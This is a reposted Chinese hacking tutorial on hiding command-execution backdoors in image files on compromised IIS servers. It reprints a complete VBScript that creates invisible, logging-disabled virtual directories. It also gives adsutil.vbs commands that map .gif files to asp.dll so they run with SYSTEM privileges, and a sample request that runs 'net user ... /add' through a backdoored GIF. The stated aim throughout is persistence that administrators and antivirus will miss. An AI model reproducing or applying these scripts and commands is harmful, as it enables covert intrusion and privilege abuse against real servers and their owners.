当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > 脚本图片类后门病毒的完美使用方法

安全防护
2003服务器A级BT安全配置指南(12)
2003服务器A级BT安全配置指南(13)
修改用户控制权限管理自启动文件
IIS6.0下建立FTP“用户隔离”站点
SQL Server数据库安全规划全攻略(1)
从IIS到SQL Server数据库安全
匿名FTP的安全设定(1)
匿名FTP的安全设定(2)
SQL Server防范措施(2)
域名解析优化也会有麻烦
10个步骤保护IIS Web服务器安全
突破SQL错误提示上传webshell
判断Web数据库方式的一个小经验
sqlserver取得网站路径的几种方法以及比较(1)
sqlserver取得网站路径的几种方法以及比较(2)
阿江的WINDOWS服务器安全设置
RAdmin 服务端高级配置(2)
Win2000安全检查清单(1)
Win2000安全检查清单(2)
Win2000安全检查清单(3)

安全防护 中的 脚本图片类后门病毒的完美使用方法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-18   浏览: 37 ::
收藏到网摘: n/a

前两天,看了一篇《脚本注入图片新方法》的文章,相信很多人都通过这篇文章了解了如何在图片中加入脚本,以及如何在正常的asp(或php)文件中通过include函数使图片中的脚本产生效用。

但是,这种方法的问题又随之而来了:有人问道:通常脚本网页文件中如果想要插入一个图片,简简单单的一个html标签就解决了,如果我们用include代替的话,是否太过明显?虽然这种语句放在大型页面中手工查找有点麻烦,但如果是杀毒软件用特征码查找,看到include的是以.gif.jpg等扩展名结尾的语句,相信肯定会报警。

而我们若不用类似于include之类的函数的话,图片中的asp(或php)语句又怎会执行呢?难道要打电话叫网管帮忙吗?嘿嘿…… 所以问题就集中在用什么方法可以替代include函数的作用上了,因为注入图片的脚本可以变,所以可以不怕杀,怕就怕那句该死的include。

有什么方法呢?我曾经想过我们在入侵成功后可以在iis中添加应用程序映射,把.gif等图片的扩展名用asp.dll(或php.exe)解析,并把这虚拟目录的应用程序保护改为低,这样我们的后门就会有system权限了。当我们注入图片的脚本的作用是执行cmd命令的,我们就可以通过本地表单post我们要执行的命令给图片,当然也可以是get: 代码 /uploadfiles/newsphoto/xx.coma1.gif?cmd=dir 这种方法当然是好,可以突破include执行脚本了。但仍有不足,而且是明显的:这种方式虽然杀毒软件是查不出了,但是仍可明显看出:管理员只要查看一下应用程序映射,那么我们所有的工作都白费了。

想到这里,我突然想到了iis的那个著名漏洞(涉及iis5.0及iis5.1),我们可以在任意一个站点下建立一个不可见的虚拟目录(指的是intenet服务管理器中不可见,但利用adsutil.vbs依然可见),而且由于iis的特性,虚拟目录的应用程序映射及应用程序保护是与iis的默认站点分开设置的。由于虚拟目录不可见,他所有的属性当然也就不可见了。

所以我们可以安全的设置此目录的属性,而不用怕管理员发现。 当我们把这个虚拟目录指向服务器上另一个装满图片的物理目录(至于那找这种目录?我找到个好地方:windowz默认的墙纸目录,我的xp上是%systemroot%\web\wallpaper\目录)时……呵呵,大家想到什么了没?一旦我们修改其中两个图片,注入我们的脚本后门,然后把此目录的图片映射到asp.dll(或php.exe)上,应用程序保护改为低,就可以通过我上面讲的方法进行访问执行命令了。

而且是system权限哦!呵呵,是不是很爽?管理员怎么也不会想到自己的图片却会是致命的后门!(其实这种方法动鲨曾在x档案上发文章说过,但他的方法有一个缺陷:在非web目录中有asp(或php)文件,一旦发现,的确让人怀疑。而我们利用的是图片,相信管理员看到图片不会情绪过激的非要撕开了看个明白才罢休吧?呵呵……) 那么如何建立这个虚拟目录呢?我们可以在图形界面也可以利用自编脚本或是直接用iis自带的adsutil.vbs操作。

在此之前我先简单说明一下这个iis漏洞的原因:我们知道iis的配置文件是metabase.bin。这个文件位于%systemroot%\system32\inetsrv\metabase.bin,包含了几乎所有iis的配置信息,是非常重要的系统文件。简单的说,我们在“intenet服务管理器”中所作的一切设置最终都会被保存在metabase.bin中。在日常的系统管理中除了通过“intenet服务管理器”来对metabase.bin进行操作外,windows还提供了一个脚本adsutil.vbs可以对metabase.bin进行操作。

(AdWords)metabase的结构类似于注册表,也是树形结构,有类似键、值、项的概念。事实上在iis3和pws中,metabase的内容就是存储在注册表中的。metabase有两个主键:lm和schema。其中,schema保存了系统默认的一些配置,通常不需要修改,一旦改错也非常危险,所以无论是“intenet服务管理器”还是adsutil.vbs都没有提供修改schema的机制。lm中包含了iis的http服务,ftp服务,smtp服务等的配置信息。其中,lm/w3svc/下是我们要用到的http服务的配置信息。

其中有一个值:scriptmaps,代表脚本映射。当我们在某个虚拟目录下设定scriptmaps值后,则向该目录请求的特定扩展名的文件都会交给指定的isapi执行。需要强调的是,设定scriptmaps的目录并不一定要真实存在的,只要在metabase中某个http实例的root键下建了一个子键,对该字键同名的虚拟目录的http请求iis会认为是合法的,并会交由映射的isapi处理。

这样说可能谁都晕了(包括我),其实简单的作个类比:metabase的就够类似于注册表,我们知道,我们在安装有些程序的时候,安装程序会在注册表中建立一些必要的值,可我们一旦非正规把它安装的文件删除了时(比如有些朋友删游戏时就是直接往回收站一拉了事),注册表中的那些项就会被留下,没有用处,而造成注册表垃圾。metabase中也是那么回事,我们正常建立一个虚拟目录时,metabase中就会建立一些项。而当我们通过非正常手段删除了此虚拟目录时,那些项就会留下,与注册表不同的是,那些项还会起作用,只要我们用http请求了那个虚拟目录,iis就会依旧按照metabase中的原来的虚拟目录设置顺利返回。

所以即使目录不存在,只要他曾经存在过,那么就成立。呵呵,听懂了没?(ps:还没懂)晕,那就只好请您看动鲨的那篇文章了,他说得可比我清楚。 至于如何添加不可见的虚拟目录,动鲨的那篇文章说得很清楚了,我这里就不废话了,下面提供动鲨的添加不可见虚拟目录的脚本,保存为iis.vbs: 代码 help1=iis后门设置器 for win2000 by 动鲨 5月30号2004 年 help2=请输入正确的虚拟目录名称和映射的路径,格式如下 help3= cscript.exe iis.vbs 虚拟目录的名称 映射的路径 help4=例如: cscript.exe iis.vbs backdoor c:\ set args = wscript.arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strvrname=args(0) 虚拟目录名称 strrootpath=args(1) 虚拟目录路径 set checkvirtualdir=getobject(iis://localhost/w3svc/1/root) for each vr in checkvirtualdir if vr.name=lhxy then foundt =yes else foundt= no end if next if foundt =yes then wscript.echo 发现已经创建了lhxy目录,正在设置自定义的虚拟目录 creatvdir else wscript.echo 正在创建lhxy目录,以及自定义文件夹,请等待!

creatlhxy creatvdir end if wscript.echo 你创建的虚拟目录名称是& strvrname &,映射的文件夹是 & strrootpath &。 wscript.echo 请访问http://ip/lhxy/& strvrname &/ 来连接后门! wscript.echo 恭喜!后门设置全部完成! sub creatlhxy() set objdir=getobject(iis://localhost/w3svc/1/root) set mydir=objdir.create(iiswebvirtualdir,lhxy) mydir.accessread=true mydir.defaultdoc=mydir.defaultdoc mydir.appisolated=0 mydir.accessexecute=true mydir.dontlog=true mydir.accesssource=true mydir.enabledirbrowsing=true mydir.setinfo end sub sub creatvdir() set objvirtualdir=getobject(iis://localhost/w3svc/1/root/lhxy) set virdir=objvirtualdir.create(iiswebvirtualdir,strvrname) virdir.accessread=true virdir.path=strrootpath virdir.defaultdoc= virdr.accessexecute=true virdir.accesswrite=true virdir.accesssource=true virdir.appisolated=0 virdir.dontlog=true virdir.enabledirbrowsing=true virdir.appcreate 0 viddir.createprocessasuser=0 virdir.setinfo end sub wscript.quit 我记得bugkidz好像也曾经贴出过类似的脚本。呵呵,没仔细看,大家不要打我,自己找吧,或是找boy要,呵呵。

下面是通过adsutil.vbs把asp.dll添加到inprocessisapiapps数组中的命令,使得所有asp脚本都会以system权限执行。 代码 cscript adsutil.vbs set /w3svc/inprocessisapiapps c:\winnt\system32\idq.dll c:\winnt\system32\inetsrv\httpext.dll c:\winnt\system32\inetsrv\httpodbc.dll c:\winnt\system32\inetsrv\ssinc.dll c:\winnt\system32\msw3prt.dll c:\winnt\system32\inetsrv\asp.dll 不过需要注意,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候一定要把原先的也加上,否则原先的就会丢失。不同条目之间用空格分开。 然后把你的虚拟目录加上应用程序映射: 代码 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/scriptmaps gif,c:\winnt\system32\inetsrv\asp.dll,1 我这里的虚拟目录是lhxy/wofeiwo,图片扩展名是.gif大家可以根据自己实际情况更改。 好了,我们看看效果吧: 代码 /uploadfiles/newsphoto/ofeiwoa1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add